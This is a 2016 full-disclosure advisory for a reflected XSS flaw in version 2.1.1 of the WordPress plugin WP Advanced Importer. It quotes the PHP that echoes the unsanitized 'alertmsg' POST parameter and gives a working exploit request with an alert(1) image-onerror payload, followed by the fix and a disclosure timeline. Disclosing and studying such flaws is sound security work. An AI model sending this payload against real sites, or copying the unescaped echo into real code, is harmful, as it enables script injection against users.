WP Advanced Importer XSS Vulnerability

## FULL DISCLOSURE

 

#Product : WP Advanced Importer
#Exploit Author : Rahul Pratap Singh
#Version : 2.1.1
#Home page Link : https://wordpress.org/plugins/wp-advanced-importer/
#Website : 0x62626262.wordpress.com
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 23/Feb/2016

XSS Vulnerability:

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Description:
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"alertmsg" parameter is not sanitized that leads to Reflected XSS.

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Vulnerable Code:
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File: index.php

function trans_xmlalert_str(){

if(isset($_POST['alertmsg']))

echo __($_POST['alertmsg'],'wp-advanced-importer');

die();

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Exploit:
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POST wordpress/wp-admin/admin-ajax.php

action=trans_xmlalert_str&alertmsg="><img src=x onerror=alert(1)>

 

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POC:
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https://0x62626262.files.wordpress.com/2016/02/wp-advanced-importerxsspoc.png?w=1700

Fix:
Update to 2.2

Vulnerability Disclosure Timeline:
→ January    30, 2016  – Bug discovered, initial report to WordPress
→ February 1, 2016     –  WordPress response, plugin taken down
→ February 23, 2016   – Vendor Deployed a Patch

#######################################
# CTG SECURITY SOLUTIONS #
# www.ctgsecuritysolutions.com  #                   
#######################################

Pub Ref:
https://wordpress.org/plugins/wp-advanced-importer/changelog/

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